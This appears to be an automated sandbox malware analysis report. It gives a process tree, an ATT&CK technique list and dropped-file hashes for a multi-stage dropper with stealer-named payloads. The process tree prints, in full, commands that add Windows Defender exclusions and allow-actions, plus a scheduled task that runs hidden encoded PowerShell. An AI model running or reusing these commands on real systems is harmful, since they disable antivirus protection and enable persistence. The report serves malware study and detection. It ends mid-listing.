    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147749376 /t REG_SZ /d 6 /reg:64
    3⤵
    PID:3196
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737394 /t REG_SZ /d 6 /reg:32
    3⤵
    PID:5316
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737394 /t REG_SZ /d 6 /reg:64
    3⤵
    PID:5508
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147841147 /t REG_SZ /d 6 /reg:32
    3⤵
    PID:5928
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147841147 /t REG_SZ /d 6 /reg:64
    3⤵
    PID:5952
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 359386 /t REG_SZ /d 6 /reg:32
    3⤵
    PID:5944
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 359386 /t REG_SZ /d 6 /reg:64
    3⤵
    PID:5844
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell "cmd /C REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\ADJLsahCU\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\ADJLsahCU\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\AymmxTCbqblaRZJGVqR\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\AymmxTCbqblaRZJGVqR\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\DQANlvmTAvZU2\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\DQANlvmTAvZU2\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\PZjcxajBIsNTC\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\PZjcxajBIsNTC\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\mWJfrhglotUn\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\mWJfrhglotUn\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\ProgramData\VyWMmqtuSNndeGVB\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\ProgramData\VyWMmqtuSNndeGVB\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Users\Admin\AppData\Local\Temp\pzWhdRqbDjaoGSUyA\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Users\Admin\AppData\Local\Temp\pzWhdRqbDjaoGSUyA\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Windows\Temp\WPGfhLqOzAIwKSwi\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Windows\Temp\WPGfhLqOzAIwKSwi\" /t REG_DWORD /d 0 /reg:64;"
  2⤵
  PID:2680
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\system32\cmd.exe" /C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\ADJLsahCU" /t REG_DWORD /d 0 /reg:32
    3⤵
    PID:5868
  - - C:\Windows\SysWOW64\reg.exe
      REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\ADJLsahCU" /t REG_DWORD /d 0 /reg:32
      4⤵
      PID:5660
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\ADJLsahCU" /t REG_DWORD /d 0 /reg:64
    3⤵
    PID:2472
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\AymmxTCbqblaRZJGVqR" /t REG_DWORD /d 0 /reg:32
    3⤵
    PID:2340
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\AymmxTCbqblaRZJGVqR" /t REG_DWORD /d 0 /reg:64
    3⤵
    PID:5548
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\DQANlvmTAvZU2" /t REG_DWORD /d 0 /reg:32
    3⤵
    PID:5160
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\DQANlvmTAvZU2" /t REG_DWORD /d 0 /reg:64
    3⤵
    PID:5432
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\PZjcxajBIsNTC" /t REG_DWORD /d 0 /reg:32
    3⤵
    PID:3120
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\PZjcxajBIsNTC" /t REG_DWORD /d 0 /reg:64
    3⤵
    PID:5828
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\mWJfrhglotUn" /t REG_DWORD /d 0 /reg:32
    3⤵
    PID:1368
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\mWJfrhglotUn" /t REG_DWORD /d 0 /reg:64
    3⤵
    PID:5768
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v C:\ProgramData\VyWMmqtuSNndeGVB /t REG_DWORD /d 0 /reg:32
    3⤵
    PID:1144
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v C:\ProgramData\VyWMmqtuSNndeGVB /t REG_DWORD /d 0 /reg:64
    3⤵
    PID:5568
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions" /t REG_DWORD /d 0 /reg:32
    3⤵
    PID:5180
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions" /t REG_DWORD /d 0 /reg:64
    3⤵
    PID:5252
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v C:\Users\Admin\AppData\Local\Temp\pzWhdRqbDjaoGSUyA /t REG_DWORD /d 0 /reg:32
    3⤵
    PID:3020
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v C:\Users\Admin\AppData\Local\Temp\pzWhdRqbDjaoGSUyA /t REG_DWORD /d 0 /reg:64
    3⤵
    PID:5776
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v C:\Windows\Temp\WPGfhLqOzAIwKSwi /t REG_DWORD /d 0 /reg:32
    3⤵
    PID:5360
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v C:\Windows\Temp\WPGfhLqOzAIwKSwi /t REG_DWORD /d 0 /reg:64
    3⤵
    PID:3204
- C:\Windows\SysWOW64\schtasks.exe
  schtasks /CREATE /TN "gSogXRZaQ" /SC once /ST 12:35:23 /F /RU "Admin" /TR "powershell -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA=="
  2⤵
  - Creates scheduled task(s)
  PID:3036
- C:\Windows\SysWOW64\schtasks.exe
  schtasks /run /I /tn "gSogXRZaQ"
  2⤵
  PID:4300

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA==
1⤵
- Command and Scripting Interpreter: PowerShell
PID:5732
- C:\Windows\system32\gpupdate.exe
  "C:\Windows\system32\gpupdate.exe" /force
  2⤵
  PID:5812

\??\c:\windows\system32\gpscript.exe
gpscript.exe /RefreshSystemParam
1⤵
PID:5928

C:\Users\Admin\AppData\Local\Temp\7zS77EA.tmp\Install.exe
C:\Users\Admin\AppData\Local\Temp\7zS77EA.tmp\Install.exe it /MYEdidvpfr 385118 /S
1⤵
PID:6076
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /C forfiles /p c:\windows\system32 /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147735503 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m calc.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147814524 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147780199 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m waitfor.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147812831 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m help.exe /c "cmd /C powershell start-process -WindowStyle Hidden gpupdate.exe /force"
  2⤵
  PID:5424
- - C:\Windows\SysWOW64\forfiles.exe
    forfiles /p c:\windows\system32 /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147735503 /t REG_SZ /d 6"
    3⤵
    PID:5992
  - - C:\Windows\SysWOW64\cmd.exe
      /C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735503 /t REG_SZ /d 6
      4⤵
      PID:2340
    - - \??\c:\windows\SysWOW64\reg.exe
        
        reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735503 /t REG_SZ /d 6
        5⤵
        
        PID:5288
- - C:\Windows\SysWOW64\forfiles.exe
    forfiles /p c:\windows\system32 /m calc.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147814524 /t REG_SZ /d 6"
    3⤵
    PID:5560
  - - C:\Windows\SysWOW64\cmd.exe
      /C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147814524 /t REG_SZ /d 6
      4⤵
      PID:5988
    - - \??\c:\windows\SysWOW64\reg.exe
        
        reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147814524 /t REG_SZ /d 6
        5⤵
        
        PID:5892
- - C:\Windows\SysWOW64\forfiles.exe
    forfiles /p c:\windows\system32 /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147780199 /t REG_SZ /d 6"
    3⤵
    PID:5604
  - - C:\Windows\SysWOW64\cmd.exe
      /C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147780199 /t REG_SZ /d 6
      4⤵
      PID:4920
    - - \??\c:\windows\SysWOW64\reg.exe
        
        reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147780199 /t REG_SZ /d 6
        5⤵
        
        PID:5948
- - C:\Windows\SysWOW64\forfiles.exe
    forfiles /p c:\windows\system32 /m waitfor.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147812831 /t REG_SZ /d 6"
    3⤵
    PID:4140
  - - C:\Windows\SysWOW64\cmd.exe
      /C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147812831 /t REG_SZ /d 6
      4⤵
      PID:5144
    - - \??\c:\windows\SysWOW64\reg.exe
        
        reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147812831 /t REG_SZ /d 6
        5⤵
        
        PID:1144
- - C:\Windows\SysWOW64\forfiles.exe
    forfiles /p c:\windows\system32 /m help.exe /c "cmd /C powershell start-process -WindowStyle Hidden gpupdate.exe /force"
    3⤵
    PID:5724
  - - C:\Windows\SysWOW64\cmd.exe
      /C powershell start-process -WindowStyle Hidden gpupdate.exe /force
      4⤵
      PID:5540
    - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        powershell start-process -WindowStyle Hidden gpupdate.exe /force
        5⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:6044
      - C:\Windows\SysWOW64\gpupdate.exe
        
        "C:\Windows\system32\gpupdate.exe" /force
        6⤵
        
        PID:5984

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Scheduled Task/Job

T1053

System Services

T1569

Service Execution

T1569.002

Persistence

Create or Modify System Process

T1543

Windows Service

T1543.003

Scheduled Task/Job

T1053

Privilege Escalation

Create or Modify System Process

T1543

Windows Service

T1543.003

Scheduled Task/Job

T1053

Defense Evasion

Impair Defenses

T1562

Disable or Modify System Firewall

T1562.004

Virtualization/Sandbox Evasion

T1497

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Virtualization/Sandbox Evasion

T1497

Lateral Movement

Collection

Command and Control

Web Service

T1102

Exfiltration

Impact

Service Stop

T1489

Replay Monitor

Loading Replay Monitor...

Downloads

GameService.exe

Path C:\Program Files (x86)\GameStabilityService\GameService.exe
Size 288KB
SHA256 472232ca821b5c2ef562ab07f53638bc2cc82eae84cea13fbe674d6022b6481c
MD5 d9ec6f3a3b2ac7cd5eef07bd86e3efbc
SHA1 e1908caab6f938404af85a7df0f80f877a4d9ee6
SHA512 1b6b8702dca3cb90fe64c4e48f2477045900c5e71dd96b84f673478bab1089febfa186bfc55aebd721ca73db1669145280ebb4e1862d3b9dc21f712cd76a07c4
SSDEEP 6144:4BULviqYnI3QA7JTXRnZSHL2GZbkG/TZgLgst2rDkXNBD:wqBlG/TZgUsxXNBD
MD5 SHA1 SHA512 SSDEEP

Submit Download

GameStabilityService.exe

Path C:\Program Files (x86)\GameStabilityService\GameStabilityService.exe
Size 6.2MB
SHA256 76b585b4eac7b0584f28d66d6bf37ad29b1ab73354cbd3c5bb1c819787208f0b
MD5 c4f2b643c3ff9bb7ae4fd625c9d98154
SHA1 bd7c7190e45cbda09be256bee7622bb74f75f00c
SHA512 2efeaf9473ac1a8f42fd5870154faa37b06e4f331768cd7934fd4aa685eb6da4e28eaa7357807c4bf37dd79fc4a5eaf70ab4324ed0100dcdb4abaf4d9b0a7dcb
SSDEEP 98304:BAwHlVzThdquIJ3mH6KfTSr2tJCkN3dOauqMAC2Taf43TZquOE2:xVz5CkN3dXuq9Taf4jLt2
MD5 SHA1 SHA512 SSDEEP

Submit Download

installm.bat

Path C:\Program Files (x86)\GameStabilityService\installm.bat
Size 247B
SHA256 2f6be6b40cf7c1802b6540dbf0b90eac67fd6a94067a06090e1f71bee164188d
MD5 192ae14b572f1bdd164ee67855d5a83a
SHA1 9cf0757c807a8b834470d216ccd85be9a6b60aa0
SHA512 18fc80eb3d450359863d61cf9123a08cdfe8c52d5f59e97f5b42816584d474d8a080bb75e7fe92480d2961481d59584a3987b2e7a15e611b58885b4441085e3c
MD5 SHA1 SHA512

Submit Download

mozglue.dll

Path C:\ProgramData\mozglue.dll
Size 593KB
SHA256 ba06a6ee0b15f5be5c4e67782eec8b521e36c107a329093ec400fe0404eb196a
MD5 c8fd9be83bc728cc04beffafc2907fe9
SHA1 95ab9f701e0024cedfbd312bcfe4e726744c4f2e
SHA512 fbb446f4a27ef510e616caad52945d6c9cc1fd063812c41947e579ec2b54df57c6dc46237ded80fca5847f38cbe1747a6c66a13e2c8c19c664a72be35eb8b040
SSDEEP 12288:BlSyAom/gcRKMdRm4wFkRHuyG4RRGJVDjMk/x21R8gY/r:BKgcRKMdRm4wFkVVDGJVv//x21R8br
MD5 SHA1 SHA512 SSDEEP

Submit Download

CgamMGd59KCtbWDhIWfw5LlH.exe

Path C:\Users\Admin\AppData\Local\CgamMGd59KCtbWDhIWfw5LlH.exe
Size 6.2MB
SHA256 958dd14c90b1c73852f926608f212377aa3a36666c04024f97c20deb375e9773
MD5 5cc472dcd66120aed74de36341bfd75a
SHA1 1dfc4d42da90fe070d4474ddd7fa7b6f6ffa97ab
SHA512 b5cf358d95ec9a6cca81d2e9c23f0ede93ab94963bb5c626f4e6233a06cedae63b73dd81d2455acb29b003c3b4e2f54da6010daebc4639a3dcc54314d4fe4f81
SSDEEP 196608:91OTMJdJiB9rrezjknd2evIO726Kc0ODm2ys6V:3OTA8wYvt2vc0OnydV
MD5 SHA1 SHA512 SSDEEP

Submit Download

powershell.exe.log

Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\powershell.exe.log
Size 2KB
SHA256 1bcd97396c83babfe6c5068ba590d7a3f8b70e72955a9d1e4070648e404cbf05
MD5 1c19c16e21c97ed42d5beabc93391fc5
SHA1 8ad83f8e0b3acf8dfbbf87931e41f0d664c4df68
SHA512 7d18776d8f649b3d29c182ff03efc6cea8b527542ee55304980f24577aae8b64e37044407776e220984346c3998ace5f8853afa58c8b38407482a728e9495e0c
MD5 SHA1 SHA512

Submit Download

StartupProfileData-Interactive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-Interactive
Size 19KB
SHA256 6ef2973241a59bc5593e8140d0479fc6911dd4e8cff7e7d71947cd8b54b0c3df
MD5 7b05aca103bf937a7ebda568ae7410d6
SHA1 d1246dfa77f91a49663bbf18dbc91f41b9763cfa
SHA512 fd453294c42166a9f6f57c944d95aafffade7c75ee8992c2406fa6ae4a6eefc17ddbb7bdb64bff22ed75c3100abfd4bcecc8a7c2d11b690e6d6c391b4a9dbb1c
SSDEEP 384:22b+3xhHVPLlzpdH6P44o01ko4X7i0EHcfimv0ltlkeSYFyqL0cJ:563HVDda/ulEH4wArYFRYS
MD5 SHA1 SHA512 SSDEEP

Submit Download

[email protected]

Path C:\Users\Admin\AppData\Local\Temp\[email protected]
Size 656B
SHA256 b10d5fef165fc89e61cd16e02eac1b90b8f94ef95218bdd4b678cd0d5c8a925e
MD5 184a117024f3789681894c67b36ce990
SHA1 c5b687db3b27ef04ad2b2cbc9f4e523cb7f6ba7e
SHA512 354d3bbc1329cbbe30d22f0cf95564e44acc68d6fe91e2beb4584a473d320faf4c092de9db7f1f93cf0b235703fc8de913883985c7d5db6b596244771a1edaf7
MD5 SHA1 SHA512

Submit Download

setup.ini

Path C:\Users\Admin\AppData\Local\Temp\[email protected]\setup.ini
Size 830B
SHA256 9fa80f0889358d9db3d249a2e747e27b7c01c6123b784d94d169c0e54cacf454
MD5 e6edb41c03bce3f822020878bde4e246
SHA1 03198ad7bbfbdd50dd66ab4bed13ad230b66e4d9
SHA512 2d71b7d50212f980e82562af95598c430aa0875f7a9d9cc670ba2cb1f63057fb26fd747a99cb4ca08f2355d002daa79bda2236b3ad9e37a3cfef32ae5420e2a1
MD5 SHA1 SHA512

Submit Download

alex.exe

Path C:\Users\Admin\AppData\Local\Temp\1000003001\alex.exe
Size 2.7MB
SHA256 222393a4ab4b2ae83ca861faee6df02ac274b2f2ca0bed8db1783dd61f2f37ee
MD5 31841361be1f3dc6c2ce7756b490bf0f
SHA1 ff2506641a401ac999f5870769f50b7326f7e4eb
SHA512 53d66fa19e8db360042dadc55caaa9a1ca30a9d825e23ed2a58f32834691eb2aaaa27a4471e3fc4d13e201accc43160436ed0e9939df1cc227a62a09a2ae0019
SSDEEP 49152:jOvdoJl7MWepyIsE7ddkxuq8rW5vs0VaCQeb5tsQcGo:GYIscWxuq8rUlVaCQo5tsQG
MD5 SHA1 SHA512 SSDEEP

Submit Download

crypted333.exe

Path C:\Users\Admin\AppData\Local\Temp\1000004001\crypted333.exe
Size 474KB
SHA256 c69c17f4c6b2206437e7954c02424b80605d40e98c0adcad6839e170c94b1c82
MD5 e967f019b01357086d92181e6ee28e0b
SHA1 7f26480ea5ca0ee9481dfc0bea12194bd6f10283
SHA512 dd2abe993397cf9f117753fd71ed9f98c4952616ee30f10479fbc3dad93a88dcfbfd6b80083541c7a796936dd37667a0f178156bdf5c35abf76dd8b23015d88a
SSDEEP 6144:0wn4ycCdxutF+xTjgkY3WFsX5yoAo4vQufdItcfZ1OqMwyBxg4/WSEN3tB/P98wX:0g4yc4xKrmFskRokMc2pF7g4LEJ9f1l
MD5 SHA1 SHA512 SSDEEP

Submit Download

redline1.exe

Path C:\Users\Admin\AppData\Local\Temp\1000005001\redline1.exe
Size 304KB
SHA256 0854678d655668c8ebb949c990166e26a4c04aef4ecf0191a95693ca150a9715
MD5 9faf597de46ed64912a01491fe550d33
SHA1 49203277926355afd49393782ae4e01802ad48af
SHA512 ef8a7a8566eaf962c4e21d49d9c1583ed2cdc9c2751ce75133a9765d2fa6dc511fc6cc99ea871eb83d50bd08a31cb0b25c03f27b8e6f351861231910a6cf1a1e
SSDEEP 3072:kq6EgY6iorUjVA8/wPTuSIuVTAPtASirVcZqf7D34teqiOLibBO2:PqY6inwPlIuVTAlAlVcZqf7DIXL
MD5 SHA1 SHA512 SSDEEP

Submit Download

install.exe

Path C:\Users\Admin\AppData\Local\Temp\1000006001\install.exe
Size 2.0MB
SHA256 01862602fb4853d90796a1a669b4ec4ab5e8cc6a774bf94e707171d5e16594fc
MD5 1d814be25e80fa6739f6f1eec2018102
SHA1 44353b52a72e3f5c46b3d6078aab1211ce33b4fd
SHA512 15732577c4fd4a0d2303df2f2d623e165c94f5b8dcd92724681d41ac35ecefbe8c04052329ec6938a594086bf8a19a54253be9f33cc8b3a298261467cddf5578
SSDEEP 49152:zgwReoc6si9gg/UMKlBzYS7b38dwQEtb1TyLwJB6o2pc/BOrOWPENW+1+P:zgwRdc6si9PnKlB/778dwleLwnycpDj+
MD5 SHA1 SHA512 SSDEEP

Submit Download

swizzzz.exe

Path C:\Users\Admin\AppData\Local\Temp\1000007001\swizzzz.exe
Size 778KB
SHA256 2aab2ca39749b21877d1c52526009f9f5d251d934205e9f671a9e84cecd55afa
MD5 05b11e7b711b4aaa512029ffcb529b5a
SHA1 a8074cf8a13f21617632951e008cdfdace73bb83
SHA512 dde7b561ffb3b9fe71827be9313cd3b83900c3ce76b053d028e84223fba1b06035437b3860a74de7dc2f5d40f0b90bd7d60139701d752c803eb08f362a5d57ff
SSDEEP 24576:IOuNAyNC+m6+Xs9Fp1RtKmYmy6Mmp78eR/VRgAiHIXOTR1/6:IOgCg+Xs9FpztKmYc78O9MIXq1/6
MD5 SHA1 SHA512 SSDEEP

Submit Download

lumma1.exe

Path C:\Users\Admin\AppData\Local\Temp\1000010001\lumma1.exe
Size 1.2MB
SHA256 a2aa61942bae116f8c855fda0e9a991dba92b3a1e2f147aee0e7e2be1bdea383
MD5 56e7d98642cfc9ec438b59022c2d58d7
SHA1 26526f702e584d8c8b629b2db5d282c2125665d7
SHA512 0be0b11de472029bd4e2268cddb5ddb381f7f275dfe50c47b9c836980e5cbfa7f71fe78804ef2180ee110ca9cf36944ec8b8b22babb31a1fc7a6585f79932a1f
SSDEEP 24576:7JXyijJIK8li6v93OhJjuMsYqRwDMIYonUbWkR5mPtIs:7Jixli6v93OreuIFRwPKs
MD5 SHA1 SHA512 SSDEEP

Submit Download

amers.exe

Path C:\Users\Admin\AppData\Local\Temp\1000013001\amers.exe
Size 1.8MB
SHA256 43c51e432dfddac2930674c7f20cc00775d6af8af821aa3764b4bca9729ae815
MD5 9dac1454b2e782ee490cf0ded37abb62
SHA1 3b5b6e0d822c2583ed47961a23b6140dd909d540
SHA512 a2a70b87a98a8b7a6b259bf7e3e4c51d763bb7c0f38c03461c9480de9517f21b8897c2eee0129f2867d3f6ad19a1334bc9d6979531f84965a9b9833b00adcc0c
SSDEEP 49152:AePpHkyCwbKxH1jESmvZb2r1lcqTykUQtMWr:pl0wbKh1ASmBbzI
MD5 SHA1 SHA512 SSDEEP

Submit Download

4bfdb7400c.exe

Path C:\Users\Admin\AppData\Local\Temp\1000014001\4bfdb7400c.exe
Size 2.1MB
SHA256 6362ad9cb79a4056f1b42ffb7b758417bebf0be3b304aab9e48f5efaf06d1f77
MD5 614444b5253c8dc76b9d4ce655e2d083
SHA1 202093cd13501466a637093f1ce763e8d051bda0
SHA512 5bd5ed9490d4f4dc0b7b9c5d9ee5b41147de4a3b994e3d4aabcb8f806561d3ccd821b542a2e7216e102efe15ccfdaab99a33cb10d3b2b95f09d7b10299a69091
SSDEEP 49152:DUQsyquqQx6y5oKR4yRvSt6h6twIoH3e/Dupf22jT21:Dlsbuqs6mGCSt6h6tiH3gb221
MD5 SHA1 SHA512 SSDEEP

Submit Download

NewB.exe

Path C:\Users\Admin\AppData\Local\Temp\1000015001\NewB.exe
Size 418KB
